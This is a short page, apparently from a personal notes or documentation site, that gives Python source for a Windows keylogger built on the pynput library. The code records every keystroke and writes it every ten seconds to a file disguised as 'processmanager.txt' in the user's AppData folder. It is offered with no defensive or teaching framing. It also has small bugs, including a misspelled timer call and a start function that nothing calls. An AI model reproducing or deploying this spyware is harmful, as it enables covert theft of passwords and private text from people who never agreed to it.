Keylogger

#/usr/bin/python

import pynput.keyboard
import threading
import os

log = ""
path = os.environ["appdata"] + "\\processmanager.txt"

def process_keys(key):
        global log
        try:
                log = log + str(key.char)
        except AttributeError:
                if key == key.space:
                        log = log + " "
                elif key == key.right:
                        log = log + " "
                elif key == key.left:
                        log = log + " "
                elif key == key.up:
                        log = log + " "
                elif key == key.down:
                        log = log + " "
                else:
                        log = log + " " + str(key) + " "

def report():
        global log
        global path
        fin = open(path, "a")
        fin.write(log)
        log = " "
        fin.close()
        timer = threading.timer(10,report)
        timer.start()

def start():
        keyboard_listener = pynput.keyboard.Listener(on_press=process_keys)

        with keyboard_listener:
                report()

Last updated